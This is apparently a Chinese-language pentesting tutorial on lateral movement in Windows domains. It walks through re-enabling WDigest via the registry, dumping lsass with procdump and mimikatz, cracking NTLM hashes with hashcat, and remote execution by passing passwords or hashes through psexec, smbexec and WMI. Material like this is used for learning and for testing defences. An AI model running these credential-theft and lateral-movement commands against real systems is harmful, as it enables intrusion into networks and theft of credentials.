域横向smb&wmi明文或hash传递
知识点1
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
- 利用哈希hash传递(pth、ptk等)进行移动
- 利用其它服务协议(SMB、WMI等)进行哈希移动
- 利用注册表操作开启Wdigest Auth值进行获取。修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 作者:shtome https://www.bilibili.com/read/cv14518781 出处:bilibili
- 利用工具或第三方平台(Hachcat)进行破解获取
知识点2
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
Procdump+Mimikatz配合获取密码
当mimikatz获取密码失败或被杀时,可以配合procdump来获取密码
先将procdump上传至目标机器,运行生成.dump文件
1 | procdump -accepteula -ma lsass.exe lsass.dmp |
然后将.dump文件拷贝到攻击机上使用mimikatz来获取密码
1 | sekurlsa::minidump lsass.dmp |
附两款提取密码的软件
Pwdump7
QuarksPwdump
Hashcat破解获取Windows NTML Hash
hashcat -a 0 -m 1000 hash file --force
# -a 0 表示采用字典破解
# -m 1000表示指向什么协议,这里时NTLM
# hash 传输形式
该工具还支持更多密码破解
Hashcat:https://github.com/hashcat/hashcat
密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html
域横向移动SMB服务利用-psexec、smbexec(官方自带)
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放(hash传递需要借助第三方工具,官方Pstools无法采用hash连接)
psexec第一种:先有ipc连接
1 | net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator |
psexec第二种:不用建立IPC连接直接提供密码
1 | # 官方自带的psexec只能传递明文 |
第三方工具smbexec无需ipc连接,支持明文和hash传递
用法和psexec差不多
1 | smbexec god/administrator:Admin12345@192.168.3.21 |
域横向移动WMI服务利用-cscript、wmiexec、wmic
WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
1 | # 自带WMIC 明文传递 无回显 |
横向移动对于以上服务hash批量利用-python编译成exe
参考之前的python代码
1 | # 利用代码 |
资源
PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
mimikatz:https://github.com/gentilkiwi/mimikatz
impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows